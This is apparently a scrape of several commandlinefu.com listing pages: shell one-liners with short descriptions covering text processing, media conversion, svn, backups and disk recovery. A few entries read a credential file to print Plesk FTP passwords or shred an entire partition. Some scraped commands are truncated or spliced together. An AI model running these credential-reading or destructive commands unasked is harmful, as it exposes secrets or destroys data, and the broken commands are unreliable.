server. man !! tr A-Z a-z | tr -d 0-9\[\],\*-.?\:\"\(\)#\;\<\>\@ | tr ' /_' '\n' | sort | uniq -c export GREP_OPTIONS='--color=auto' Enable color pattern match highlighting in grep(1) This will affect all invocations of grep, even when it is called from inside a script. ack-open () { local x="$(ack -l $* | xargs)"; if [[ -n $x ]]; then eval vim -c "/$*[-1] $x"; else echo "No files found"; fi } Functions: echo eval vim Opens files containing search term in vim with search term highlighted Takes the same arguments that ack does. E.g. ack-open -i "searchterm" opens all files below the current directory containing the search term. The search term is also highlighted within vim if you have hlsearch set. Works on zsh, unsure if it works on bash. Note: ubuntu users have to change ack to ack-grep unless you already have it aliased (as I do) ffmpeg -i movie.avi -s 320x240 -b 1000k -vcodec wmv2 -ar 44100 -ab 56000 -ac 2 -y movie.wmv Convert AVI to WMV I used this to cut down the file size of a 1gb .avi to about 200mb without sacrificing much quality. echo "${STRING}" | tr '[A-Z]' '[a-z]' | awk '{print toupper(substr($0,1,1))substr($0,2);}' $ (STRING="COmManDLinEfU"; echo "${STRING}" | tr '[A-Z]' '[a-z]' | awk '{print toupper(substr($0,1,1))substr($0,2);}') Commandlinefu Functions: awk echo tr String Capitalization Helpful when we want to do mass file renaming(especially mp3s). curl -s http://tinyurl.com/create.php?url=$1 \ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://bit.ly/?url=$1 \ | sed -n 's/.*\(shortened-url"............... Functions: sed uniq This command will shorten any URL the user inputs. What makes this command different is that it utilizes 5 different services and gives you 5 different outputs. This command will shorten any URL the user inputs. What makes this command different is that it utilizes 5 different services and gives you 5 different outputs: is.gd, bit.ly, u.nu, geekology.co.za, and tinyurl. curl -s http://tinyurl.com/create.php?url=$1 \ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://bit.ly/?url=$1 \ | sed -n 's/.*\(shortened-url" value="http:\/\/bit.ly\/[a-zA-Z0-9][a-zA-Z0-9]*\).*/\1/p' \ | sed -n 's/.*\(http:\/\/bit.ly\/[a-zA-Z0-9][a-zA-Z0-9]*\).*/\1/p' \ | uniq ; curl -s http://geekology.co.za/shortii/create.php?u=$1 \ | sed -n 's/.*\(http:\/\/geekology.co.za\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://u.nu/unu-api-simple?url=$1 \ | sed -n 's/.*\(http:\/\/u.nu\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://is.gd/api.php?longurl=$1 \ | sed -n 's/.*\(http:\/\/is.gd\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq echo "" ls | grep '^[A-Z0-9]*$' 7FILESTARTWITHNUMBER AUTHORS CODING COPYING FAQ INSTALL MYTEST1 NEWS NUM2INBETWEEN README TODO List only those files that has all uppercase letters in their names (e.g. README) Some source package have many 'README' kind of files, among many other regular files/directories. This command could be useful when one wants to list only 'README' kind of files among jungle of other files. (e.g. I came across this situation after downloading source for module-init-tools) Warning: This command would miss a file like => README.1 (or one with spaces in-between) Corrections welcome. cd /etc/network/if-up.d && iptables-save > firewall.conf && echo -e '#!/bin/sh -e\niptables-restore < $(dirname $0)/firewall.conf' > iptables && chmod a+x iptables Functions: cd chmod dirname echo iptables iptables-save Should run with sudo zgrep CONFIG_MAGIC_SYSRQ /proc/config.gz Figure out if your kernel has an option enabled zless /proc/config.gz curl www.whatismyip.org 11.22.33.44 External IP Simple external IP checker, there are many on here but this one works and seems to be the shortest option I can find. ‹ First < 240 241 242 243 244 > Last › find $PWD -exec rpm --query -f {} \; | sort -u | grep -v "not owned" Functions: find grep rpm sort List RPM packages installed in current tree shows all RPMs with files in the current directory & its subdirectories. for host in *; do { if [ -d $host ]; then { cd ${host}; for share in *; do { if [ -d $share ]; then { cd $share; rsync -av --delete rsyncuser@$host::$share . 2>../$share.err 1>../$share.log; cd ..; }; fi; }; done; cd ..; }; fi; }; done; Functions: cd host rsync traverses directories of $host and $share to created a unified place for rsync backups traverses e.g. "/data/myhost1.com/myrsyncshare"; logs stderr and stdout. useful with cron. xe(){ curl "http://www.xe.com/wap/2co/convert.cgi?Amount=$1&From=$2&To=$3" -A "Mozilla" -s | sed -n "s/.*>\(.*\) $3<.*/\1/p";} $ xe 123 SGD HUF 19,189.67 Currency converter using xe.com It runs on Mac OS X since it has curl installed by default. On Linux the easiest is to install curl, but wget -qU "Mozilla" "http..." will work too. It's important to specify the currencies in capital letters, or use sed -n "s/.*>\(.*\) `echo $3 | tr '[a-z]' '[A-Z]'` sed -n "s/.*>\(.*\) $3 head -n1 sample.txt | tail -n1 Functions: head tail Extract specific lines from a text file using Stream Editor (sed) You can actually do the same thing with a combination of head and tail. For example, in a file of four lines, if you just want the middle two lines: head -n3 sample.txt | tail -n2 Line 1 --\ Line 2 } These three lines are selected by head -n3, Line 3 --/ this feeds the following filtered list to tail: Line 4 Line 1 Line 2 \___ These two lines are filtered by tail -n2, Line 3 / This results in: Line 2 Line 3 being printed to screen (or wherever you redirect it). mplayer -playlist <(find "$PWD" -type f) Play all files in the directory using MPlayer Skip forward and back using the < and > keys. Display the file title with I. function say { mplayer -really-quiet "http://translate.google.com/translate_tts?tl=en&q=$1"; } The output should be heard over your headphones or speakers. You might also see warning messages from mplayer, but they can be ignored: Have Google Translate speak to you using your local speakers Put the string above in your ~/.bashrc or ~/.bash_profile, then source the file. Make sure your sound output is working, you have mplayer installed, then type in a word or sentence similar to below: say "why won't anyone talk to me?" It's easy to get the language to be different by changing the "en" in the string to be "de" or some other language that Google Translate supports. Have multiple "say" functions, like "say-en" "say-de", etc. rpm --query --filesbypackage [packagename] List files in an RPM package ps -ef | grep user | awk '{print $2}' | while read pid; do echo $pid ; pfiles $pid| grep portnum; done Functions: awk echo grep ps read Find which process is using a port on Solaris My old Solaris server does not have lsof, so I have to use pfiles. netstat -in printf $(( echo "obase=16;$(echo $$$(date +%s%N))"|bc; ip link show|sed -n '/eth/ {N; p}'|grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'|head -c 17 )|tr -d [:space:][:punct:] |sed 's/[[:xdigit:]]\{2\}/\\x&/g')|sha1sum|head -c 32; echo 7d9afbd91e49e265841c0d6c953e964a Functions: echo grep head link printf sed tr Generate an over-the-top UUID first off, if you just want a random UUID, here's the actual command to use: uuidgen Your chances of finding a duplicate after running this nonstop for a year are about the same as being hit by a meteorite before finishing this sentence The reason for the command I have is that it's more provably unique than the one that uuidgen creates. uuidgen creates a random one by default, or an unencrypted one based on time and network address if you give it the -t option. Mine uses the mac address of the ethernet interface, the process id of the caller, and the system time down to nanosecond resolution, which is provably unique over all computers past, present, and future, subject to collisions in the cryptographic hash used, and the uniqueness of your mac address. Warning: feel free to experiment, but be warned that the stdin of the hash is binary data at that point, which may mess up your terminal if you don't pipe it into something. If it does mess up though, just type svn list -vR svn://server/repo/somedir | awk '{if ($3 !="") sum+=$3; i++} END {print "\ntotal size= " sum/1024000" MB" "\nnumber of files= " i/1000 " K"}' total size= 3659.06 MB number of files= 29.044 K find both total size and number of files below any given svn directory afaik, svn doesn't have a good, scriptable way of telling you these two basic pieces of information. qdbus org.kde.krunner_lock /MainApplication quit; qdbus org.kde.plasma-overlay /MainApplication quit Unlock your KDE4 session remotely (for boxes locked by KDE lock utility) For KDE 4.2.* with plasma overlay activated I use this. echo $(( `ulimit -u` - `find /proc -maxdepth 1 \( -user $USER -o -group $GROUPNAME \) -type d|wc -l` )) See how many more processes are allowed, awesome! There is a limit to how many processes you can run at the same time for each user, especially with web hosts. If the maximum # of processes for your user is 200, then the following sets OPTIMUM_P to 100. OPTIMUM_P=$(( (`ulimit -u` - `find /proc -maxdepth 1 \( -user $USER -o -group $GROUPNAME \) -type d|wc -l`) / 2 )) This is very useful in scripts because this is such a fast low-resource-intensive (compared to ps, who, lsof, etc) way to determine how many processes are currently running for whichever user. The number of currently running processes is subtracted from the high limit setup for the account (see limits.conf, pam, initscript). An easy to understand example- this searches the current directory for shell scripts, and runs up to 100 'file' commands at the same time, greatly speeding up the command. find . -type f | xargs -P $OPTIMUM_P -iFNAME file FNAME | sed -n '/shell script text/p' I am using it in my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html especially for the xargs command. Xargs has a -P option that lets you specify how many processes to run at the same time. For instance if you have 1000 urls in a text file and wanted to download all of them fast with curl, you could download 100 at a time (check ps output on a separate [pt]ty for proof) like this: cat url-list.txt | xargs -I '{}' -P $OPTIMUM_P curl -O '{}' I like to do things as fast as possible on my servers. I have several types of servers and hosting environments, some with very restrictive jail shells with 20processes limit, some with 200, some with 8000, so for the jailed shells my xargs -P10 would kill my shell or dump core. Using the above I can set the -P value dynamically, so xargs always works, like this. If you were building a process-killer (very common for cheap hosting) this would also be handy. Note that if you are only allowed 20 or so processes, you should just use -P1 with xargs. tr -cs A-Za-z '\n' | sort | uniq -ci Gives the same results as the command by putnamhill using nine less characters. echo $(curl -s http://ipwhats.appspot.com/) finger | grep $(whoami) | head -n1 | awk '{print $2 " " $3}' John Doe Functions: awk finger grep head Prints out, what the users name, notifyed in the gecos field, is finger - gets logged in users grep $(whoami) - greps only the current user (if there are more logged in) head -n1 - just one line awk '{print $2 " " $3}' - second and third word, seperated with a space (the users name) OT: My first commandlinefu-command :) for i in $(find . -type f); do mv "$i" "$(echo $i|tr A-Z a-z)"; done Recursively changes every file case to lowercase To see the user's activity on the file system The option + D lets you do searches in the directories ignoring symbolic links. gpg -e --default-recipient-self <SENSITIVE_FILE> && shred -zu "$_" Functions: gpg shred Make sure the file contents can't be retrieved if anyone gets ahold of your physical hard drive. With hard drive partition: gpg --default-recipient-self -o /path/to/encrypted_backup.gpg -e /dev/sdb1 && shred -z /dev/sdb1 WARNING/disclaimer: Be sure you... F&%k it--just don't try this. mplayer -shuffle $HOME/music/* $HOME/music/*/* $HOME/music/*/*/* etc. Player 1.0rc4-4.4.5 (C) 2000-2010 MPlayer Team Playing /home/greg/Dropbox/Music/Song.mp3. Title: SONG NAME Artist: Sara Bareilles Album: Little Voice Year: 2007 Comment: Track: 11 Genre: Alternative AUDIO: 44100 Hz, 2 ch, s16le, 128.0 kbit/9.07% (ratio: 16000->176400) A: 0.0 (00.0) of 424.0 (07:04.0) ??,?% ^[[J^MA: 0.1 (00.0) of 424.0 (07:04.0) ??,?% ^[[J^MA: 0.1 (00.0) of 424.0 (07:04.0) ??,?% ^[[J^MA: 0.1 (00.1)$ Shuffle songs with mplayer (sub-dirs too.) So... I saw this: http://www.commandlinefu.com/commands/view/5385/play-all-the-music-in-a-folder-on-shuffle And I thought it would be cool to make it so that it will play songs in subdirectorys too. from: http://lists.mplayerhq.hu/pipermail/mplayer-dev-eng/2011-March/067853.html tar pzcvf /result_path/result.tar.gz /target_path/target_folder With the "v" it will list all the files being placed into the tar.gz. Without the "v" there is a simple return to command line when action completed. Create a simple backup The command as given would create the file "/result_path/result.tar.gz" with the contents of the target folder including permissions and sub- folder structure. chsec -f /etc/security/lastlog -a "unsuccessful_login_count=0" -s 'aix user' AIX : onliner to reset failed login count for user AIX user administration whithout smitty cat /proc/acpi/battery/BAT0/state --[Charged: present: yes capacity state: ok charging state: charged present rate: 0 mW --[ Discharging: charging state: discharging Probably the most info for the least work. echo "text" | od -t x1 max@sinister:~$ echo hello | od -t x1 0000000 68 65 6c 6c 6f 0a 0000006 max@sinister:~$ echo hello | od -x 0000000 6568 6c6c 0a6f Just use "od" and it can also dump in decimal or octal. (use -t x1 and not just -x or it confuses the byte order) There is a load of other formatting options, I'm not sure if you can turn off the address at the start of the line. str=password; for i in `seq 1 10`; do echo -e "$str\n"; str="$(base64 <<< $str)"; done password cGFzc3dvcmQK Y0dGemMzZHZjbVFLCg== WTBkR2VtTXpaSFpqYlZGTENnPT0K V1RCa1IyVnRUWHBhU0ZwcVlsWkdURU5uUFQwSwo= VjFSQ2ExSXlWblJVV0hCaFUwWndjVmxzV2tkVVJVNXVVRlF3U3dvPQo= VmpGU1EyRXhTWGxXYmxKVlYwaENhRlV3V25kalZteHpWMnRrVlZKVk5YVlZSbEYzVTNkdlBRbz0K Vm1wR1UxRXlSWGhUV0d4WFlteEtWbFl3YUVOaFJsVjNWMjVrYWxadGVIcFdNblJyVmxaS1ZrNVlW bFpTYkVZelZUTmtkbEJSYnowSwo= Vm0xd1IxVXhSWGxTV0doVVYwZDRXRmx0ZUV0V2JGbDNZVVZPYUZKc1ZqTldNalZyWVd4YWRHVklj RmROYmxKeVZteGFTMVpyTlZsVyBiRnBUWWtWWmVsWlVUbXRrYkVKU1lub3dTd289Cg== Vm0weGQxSXhWWGhTV0d4VFYwZG9WVll3WkRSWFJteDBaVVYwVjJKR2JETlpWVlpQWVVaS2MxWnFU bGROYWxaeVdWZDRZV1JIVmtsaiBSbVJPWW14S2VWWnRlR0ZUTVZweVRsWnNWeUJpUm5CVVdXdFdX bVZzV2xWVWJYUnJZa1ZLVTFsdWIzZFRkMjg5Q2c9PQo= recursive base64 encoding -- Cipher for the Poor ? Just for fun, I searched a simple way to encrypt some text. Simple base64 encoding seemed a good start so I decided to "amplify" encoding using repeted base64 encoding. Of course, this is not really secure but can be useful to hide datas to most part of humans ;). ‹ First < 241 242 243 244 245 > Last › awk '( $1 == "MemTotal:" ) { print $2/1048576 }' /proc/meminfo Get memory total from /proc/meminfo in Gigs gs -dNOCACHE -dNOPAUSE -dBATCH -dSAFER -sDEVICE=epswrite -dEPSCrop -sOutputFile=out.eps in.pdf Convert PDFLaTeX PDF to Illustrator-usable EPS Use this to turn a page with snippets of equations into vector paths that Adobe Illustrator can handle without choking on font embedding and substitution issues. Good for keeping fonts consistent when labeling charts and diagrams. Also good for embedding formulas into diagrams. svn diff $* | colordiff | less -r Index: foo/screen.cpp --- foo/screen.cpp (revision 5293) +++ foo/screen.cpp (working copy) @@ -907,6 +921,10 @@ void SetScreenSize(unsigned int width, unsigned int height) { + if (width >= 132) + termWidth = screenWidth = 132; screenHeight = height; gs_bScreenSizeChanged = true; Functions: diff less Paged, colored svn diff I put this in a shell script called "svndiff", as it provides a handy decorated "svn diff" output that is colored (which you can't see here) and paged. The -r is required so less doesn't mangle the color codes. svn status | egrep '^(M|A)' | egrep -o '[^MA\ ].*$' Show the files that you've modified in an SVN tree This is useful for piping to other commands, as well: svn status | egrep '^(M|A)' | egrep -o '[^MA\ ].*$' | xargs $EDITOR IP=$(nslookup `hostname` | grep -i address | awk -F" " '{print $2}' | awk -F# '{print $1}' | tail -n 1 ); R=3$((RANDOM%6 + 1)); PS1="\n\[\033[1;37m\]\u@\[\033[1;$R""m\]\h^$IP:\[\033[1;37m\]\w\$\[\033[0m\] " user@host^192.168.0.1:~$ Functions: awk grep nslookup tail add random color and external ip address to prompt (PS1) this adds a random color to your prompt and the external ip. useful if you are using multiple mashines with the same hostname. find files/ -type f | while read line; do if [ $((i++%100)) -eq 0 ]; then mkdir $((++folder)); fi; cp $line $folder/; done Functions: cp find mkdir read Reorder file with max 100 file per folder Smaller Code Better Runtime xpath () { xmllint --format --shell "$2" <<< "cat $1" | sed '/^\/ >/d' } $ xpath "//head/title" index.html <title>All commands | commandlinefu.com xpath function This function uses xmllint to evaluate xpaths. Usage: xpath /some/xpath XMLfile curl -c cookie.txt -d username=hello -d password=w0r1d http://www.site.com/login save login cookie mvn deploy:deploy-file -DgroupId=groupId -DartifactId=artifactId -Dversion=1.0 -Dpackaging=jar -Dfile=pathtolib -DrepositoryId=repository -Durl=url Install a library to a remote repository hddtemp /dev/sda /dev/sdb /dev/hda /dev/hdb | gawk '{print $NF}' | perl -n -e '$_ =~ s/(\d+)/print "$1 "/eg }{ print "\n"' 31 31 31 29 Functions: gawk perl get the list of temps for your hard-drives get a list of temps of your hard-drives. tr " " "\n" | nl echo foo bar this is line one | tr " " "\n" | nl translate and number lines is simpler and you use tr to choose your delimiter (eg for csv files) curl -s 'http://www.loopware.com/ip.php' aumix -v +5 Ramp the system volume up 5% Or, aumix -v -5 Map these to key combinations in your window manager and who needs special buttons? curl -b cookie.txt http://www.site.com/download/file.txt send cookie wget -qO - http://www.commandlinefu.com/feed/tenup | xmlstarlet sel -T -t -o '<x>' -n -t -m rss/channel/item -o '<y>' -n -v description -o '</y>' -n -t -o '</x>' | xmlstarlet sel -T -t -m x/y -v code -n $ ps aux | grep [p]rocess-name $ getconf LONG_BIT $ for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > $I.sql.gz"; done $ free && sync && echo 3 > /proc/sys/vm/drop_caches && free $ find . -empty -type d -exec rmdir {} + $ exiftool '-Directory $tmpfile && sudo screen -c $tmpfile $ /sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e $ dig +short txt .wp.dg.cx $ autossh -M50000 -t server.example.com 'screen -raAd mysession' $ knock 3000 4000 5000 && ssh -p user@host && knock 5000 4000 3000 $ cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}' $ ssh -t remote_host screen -r $ diff <(echo "$a") <(echo "$b") print latest (top 10, top 3 or *) commandlinefu.com commands This lengthy cryptic line will print the latest top 10 commandlinefu.com posts without their summaries. To print also their respective summaries use the following (even bigger) command line: wget -qO - http://www.commandlinefu.com/feed/tenup | xmlstarlet sel -T -t -o '' -n -t -m rss/channel/item -o '' -n -o '' -v title -o '' -n -o '' -v description -o '' -n -o '' -n -t -o '' | xmlstarlet sel -T -t -m doc/item -v description/code -n -v title -n -n It is recommended to include this line into a shell script to be easily run, as I do myself. You could also use the following URLs to browse the top 3 commands: wget -qO - http://www.commandlinefu.com/feed/threeup | xmlstarlet ... .. or all others: wget -qO - http://feeds2.feedburner.com/Command-line-fu | xmlstarlet ... PS: You need to install "xmlstarlet" to run it. It is found in Debian APT repositories (apt-get install xmlstarlet) or under the http://xmlstar.sourceforge.net/ URL. echo $RANDOM$RANDOM$RANDOM |cut -c3-12 pmset -g batt # os x version Currently drawing from 'Battery Power' If you want to do the same in OS X... grep as necessary for information you need.... find . -type d -not \( -name .svn -prune \) -exec svn propset svn:ignore '*' {} \; Ignore subdirectories in subversion If you would like to ignore a directory including its subdirectory. For example, a tmp/ directory grep -i '[^script$]' 1.txt mencoder -idx a.ogg -ovc lavc -oac mp3lame -o b.avi Convert .ogg to .avi find $(echo "$PATH" | tr ':' ' ') -name "*program*" Functions: echo find tr jpegtran -optimize -outfile temp.jpg && mv temp.jpg "$_" Losslessly optimize JPEG files for file size You can also save EXIF information by copying it to temp.jpg: jpegtran -optimize -outfile temp.jpg && jhead -te temp.jpg "$_" && mv temp.jpg "$_" %s/@/^v[M]/g replace @ symbol with new line character, to get new line character press Ctrl+v+enter --> ^M egrep -v "^[[:blank:]]*($|#|//|/\*| \*|\*/)" somefile Show a script or config file without comments wget -q http://dynamic.xkcd.com/comic/random/ -O-| sed -n '/ Last › port=8888;pid=$(lsof -Pan -i tcp -i udp | grep ":$port"|tr -s " " | cut -d" " -f2); ps -Afe|grep "$pid"|grep --invert-match grep | sed "s/^\([^ ]*[ ]*\)\{7\}\(.*\)$/\2/g" java -Dcom.sun.management.jmxremote -Xmx1024m -XX:MaxPermSize=300m -server -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8885 -jar /oc4j/j2ee/home/oc4j.jar Functions: cut grep ps sed tr A way not so simple but functional for print the command for the process that's listening a specific port. I got the pid from lsof because I think it's more portable but can be used netstat /usr/bin/links --source http://weather.noaa.gov/pub/data/forecasts/zone/md/mdz009.txt Status of Snow Armageddon in Washington DC Metro from the command line... The Washington DC Metro area is not accustomed to getting large snow storms... http://snowpocalypsedc.com/ bitpim -p $PHONE_PORT ls List a phone's filesystem with bitpim This will list your phone's filesystem with bitpim. (works on many LG, Samsung, and Sanyo) See http://www.bitpim.org/help/phones-featuressupported.htm for full list. shutdown -h $((60 * 4)) ((60 * 4)) will be turned into 240 by bash before being input to the shutdown command, replace the 4 with whatever number of hours you want, let bash do the math. curl -O http://www.site.com/img/image[001-175].jpg batch download jpgs which are in sequence la Show all archives. That command make the same that "ls -a", but just typping "la". Tested in bash. ^Z then bg Send current job to the background ls to show hidden file, but not . or .. This command is almost the same as 'ls -a', but it does not display the current dir (.) or parent (..) grep -R --include=*.cpp --include=*.h --exclude=*.inl.h "string" . Gnu grep allows to restrict the search to files only matching a given pattern. It also allows to exclude files. ddrescue -r 1 /dev/old_disk /dev/new_disk rescued.log Commands to setup my new harddrive! #4 Step! Try to recover as much as possible yt-pl2mp3() {umph -m 50 $1 | cclive -f mp4_720p; IFS=$(echo -en "\n\b"); for track in $(ls | grep mp4 | awk '{print $0}' | sed -e 's/\.mp4//'); do (ffmpeg -i $track.mp4 -vn -ar 44100 -ac 2 -ab 320 -f mp3 $track.mp3); done; rm -f *.mp4} Functions: awk echo grep ls rm sed umph is parsing video links from Youtube playlists ( http://code.google.com/p/umph/ ) cclive is downloading videos from Youtube ( http://cclive.sourceforge.net/ ) yt-pl2mp3 7AB74822FE7D03E8 rm -rf /bin/laden Today's elimination of a world threat Appropriate for today. mount starting sector of the partition we want to mount Assuming we have a disk image, created by dd if=/dev/sda of=image.dd we can check the image's partition layout with fdisk -ul image.dd, then substitute "x" with starting sector of the partition we want to mount. This example assumes that the disk uses 512Byte sectors find -L /proc/`ps aux | grep [f]lash | awk '{print $2}'`/fd/ | xargs file -L | grep Video | awk '{sub(/:/, ""); print $1}' | xargs vlc Functions: awk file find grep xargs Play flash videos in VLC If you used to do `vlc /tmp/Flash*`, but no longer can't, this is for you. date `ssh user@server date "+%y%m%d%H%M.%S"` Neat idea! This variation works on FreeBSD. ip -4 addr show eth0 | awk ' /inet/ {print $2}' $ ip -4 addr show eth0 | awk ' /inet/ {print $2}' 192.168.1.143/24 Shows the first IP on named interface including the network size wget -qO - http://ngrams.googlelabs.com/datasets | grep -E href='(.+\.zip)' | sed -r "s/.*href='(.+\.zip)'.*/\1/" | uniq | while read line; do `wget $line`; done Functions: grep read sed uniq wget To learn more about Google Ngram Viewer: http://ngrams.googlelabs.com/info ddrescue -n /dev/old_disk /dev/new_disk rescued.log #3 Step! FIrst Pass quickly! Quick grab of the data to the new disk! nice -n 5 electricsheep -window-id `xwininfo -root|head -n 2|grep xwininfo|cut -c 22-26` Functions: cut grep head nice Animated Desktop: electricsheep This is a simple command which makes electricsheep render directly to your background read VAR1 VAR2 VAR3 <<< aa bb cc; echo $VAR2 alias flashplay="mplayer \$(find /proc/\$(pgrep -f 'libgcflash|libflashplayer')/fd/ -printf '%p %l\n' |grep FlashXX | cut -d\ -f1)" Play flash video in the cache (loaded) with mplayer Alias to play flash videos with mplayer. You can replace mplayer with your favorite video player. This alias supports Chrome & Firefox's way of handling the flash plugin. It will play all the videos in the cache. Note that certain videos might never make it to the cache, if the publisher ask for them not to: they will just be loaded in RAM. A variant if you're just interested in playing the audio, for example for a music : alias flashmusic="mplayer -vo null \$(find /proc/\$(pgrep -f 'libgcfl|libflashplayer')/fd/ -printf '%p %l\n' |grep FlashXX | cut -d\ -f1)" unset files i; set -f; O=$IFS; while IFS= read -r -d $'\0' files[i++]; do :; done < <(find . -name '*.avi' -print0) && IFS=$O; set +f && echo "Running: mplayer \"${files[ $(( $RANDOM % ${#files[@]} )) ]}\"" Functions: echo find read set unset Play a random .avi file from a media tree unsets variables used by the one-liner sets up the IFS bash variable to not be affected by whitespace and disables extra glob expansion uses read to slurp the results of the find command into an array selects an element of the array at random to be passed as an argument to mplayer eject -T [cdrom_device] Toggle cdrom device Opens or closes the cdrom device. echo 254.003.032.3 | grep -P '^((25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])\.){3}(25[0-4]|2[0-4]\d|[01]?[\d]?[1-9])$' regex to match an ip This obey that you don't match any broadcast or network addresses and stay between 1.1.1.1 - 254.254.254.254 cat /proc/version ‹ First < 243 244 245 246 247 > Last › svn st -q | cut -c 2- | tr -d ' ' | xargs tar -czvf ../backup.tgz Functions: cut tar tr xargs This works more reliable for me ("cut -c 8-" had one more space, so it did not work) openssl rand 6 -base64 # openssl rand 6 -base64 Wp5e+o3t just change 6 to 9 or 12 or more (multiple of 3) to have bigger password /usr/bin/snmpwalk -v 1 -c public 10.0.0.22 1.3.6.1.4.1.789.1.21.1.2.1.25.1| awk -F : '{print "netapp temp:" $4 }' netapp temp: ", 28C (82F), 29C (84F), 33C (91F)" pull only the temp sensor data off of a netapp if you can use this depends on which netapp you have, this netapp is an FAS2020 composite -compose Over rgba.png -tile xc:white -geometry `identify rgba.png | sed 's/[^ ]* [^ ]* \([^ ]*\) .*/\1/g'` rgb-white.png Flatten a RGBA image onto a white background. Use graphicsmagick or imagemagick to composite a RGBA image over a flat white background and discard the alpha channel. egrep "^lease" /var/lib/dhcp/db/dhcpd.leases |awk '{ print $2 }' 192.168.0.73 192.168.0.99 192.168.0.38 192.168.0.77 192.168.0.98 192.168.0.46 192.168.0.13 get IPs with a DHCP lease You can use that to create a excludefile for nmap, to find hosts, with no DHCP lease in your DHCP range. blockdev --getsize64 /dev/sd[ab] Step#1 Compare the disk spaces first! Compare the disk space for the new and old drive FILE=$(tempfile 2>/dev/null || echo .$RANDOM) empty create file enter our information on the content file. cat table-mv.txt | perl -pe 's{([^;]+);([^;]+)}{tbl$1/tbl$2}' | perl -pe 's{(\S+)}{perl -i -pe #s/$1/g# xxx.sql}' | tr "#" "\'" | bash $ cat table-mv.txt WCFAppRoles;AsAppRoles WCFDBError;AsDBErrors WCFFunctions;AsFunctions $ cat table-mv.txt | perl -pe 's{([^;]+);([^;]+)}{tbl$1/tbl$2}' | perl -pe 's{(\S+)}{perl -i -pe #s/$1/g# xxx.sql}' | tr "#" "\'" perl -i -pe 's/tblWCFAppRoles/tblAsAppRoles/g' xxx.sql perl -i -pe 's/tblWCFDBError/tblAsDBErrors/g' xxx.sql perl -i -pe 's/tblWCFFunctions/tblAsFunctions/g' xxx.sql Functions: cat perl tr Multiple Perl Search/Replace from a file with a semicolon text file map, apply multiple replace to a single file perl -e 'use strict; use warnings; my $c; my $file = $ARGV[0]; open my $handle, "<", $file or die "$0: $file: $!\n"; while (<$handle>) { print $c++, " " x 5, $_; } close($handle);' Joke : prints line numbers in a longest way This is a joke for @putnamhill and @glaudiston I'm pretty sure we can write longer if we want ;) find . -iname '*.mp3' | while read song; do mpg321 ${song} -w - | oggenc -q 9 -o ${song%.mp3}.ogg -; done Functions: find mpg321 read Convert all your mp3 to ogg This is not recommended... lossy -> lossy = lossier. Still, you can do it! ;) (trap 'true' ERR; exec ) Functions: exec trap Collect output from a segfaulting program and keep the script from dying Crash Override, man! Apparently the exec call tricks BASH into setting the output buffer size to 0 under the assumption that the system (or the calling shell) will handle the output buffering. trapping the ERR signal will stop the subshell from dying and sending the ERR signal to the main script--which will terminate immediately if it does--when the program fails. The only problem is that the kernel will output a whole bunch of stack trace garbage directly to the console device once the process segfaults, so there's no way to prevent it from being output [that I know of]. find . -iname pom.xml -type f -exec bash -c "cat {} | sed s/1\.0\.46\-SNAPSHOT/1\.0\.48\-SNAPSHOT/g > {}.tmp " \; -exec mv {}.tmp {} \; Fixing maven POM messed up by a broken release. When a large maven release goes wrong, by deploying just some of the artifacts letting others behind, some projects got wrong SNAPSHOT versions. This command comes to help! Tip: replace sed's regex by your version numbers touch -acm yyyymmddhhMM.ss [file] Reset the time stamps on a file ...changes modify time and access time. also: touch -r [file1] [file2] # make file2 timestamp match file1 man fetchmail | perl -ne 'undef $/; print $1 if m/^.*?(-k \| --keep.*)-K \| --nokeep.*$/smg' -k | --keep Functions: fetchmail man perl Print multiline text starting and ending at specific regexps with perl Using perl, here, we grep the man page of fetchmail to find the paragraph starting with '-k | --keep' and ending before the paragraph starting with '-K | --nokeep' du -hs /path/to/target du -hs ~/bin 6.4M /home/daniel/bin See how much space is used by a file or directory A really useful pair of du options. bind '"\C-h": "\`fc\ \-s\`"' ~: which tcptraceroute /usr/bin/tcptraceroute ~: ls -al `fc -s` which tcptraceroute -rwxr-xr-x. 1 root root 38320 2009-07-28 19:10 /usr/bin/tcptraceroute Use the last command's output as input to a command without piping and bind to it to a key sequence in bash. This is similar to using `!!` or In bash 4.1 it seems you can bind directly to a shell command, but I'm not running that version. curl http://ifconfig.me/ip $ curl http://ifconfig.me/ip 16.5.61.21 Relies on ifconfig.me functioning. It's about as easy as it gets, and memorable to old geeks too. sudo reflector -l 5 -r -o /etc/pacman.d/mirrorlist archlinux: updates repository mirrors according to most up to date mirrors, then speed Requires 'reflector' package from official repository. '5' in the example is the number of mirrors you want in the mirrorlist, could be other numbers of course. mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password from accounts INNER JOIN sys_users ON accounts.id=sys_users.account_id WHERE sys_users.login='xxxx';" [root@ip-xx-xxx-xxx-xx~]# mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password from accounts INNER JOIN sys_users ON accounts.id=sys_users.account_id WHERE sys_users.login='xxxxx';" | xxxxxxxxxxx | Pulls FTP password out of Plesk database. This will print to the screen password for the user specified in "sys_users.login='xxxx';. This is for Plesk servers only. mksnap_ffs /var /var/.snap/snap_var_`date "+%Y-%m-%d"` ; mdconfig -a -t vnode -f /var/.snap/snap_var_`date "+%Y-%m-%d"` -u 1; mount -r /dev/md1 /mnt snapshot partition for consistent backups with minimal downtime (FreeBSD) Once you've made the snapshot you can resume any stopped services and then back up the file system (using the snapshot) without having to worry about changed files. When finished, the snapshot can be removed : mdconfig -d -u 1 rm /var/.snap/snap_var_`date "+%Y-%m-%d"` println() 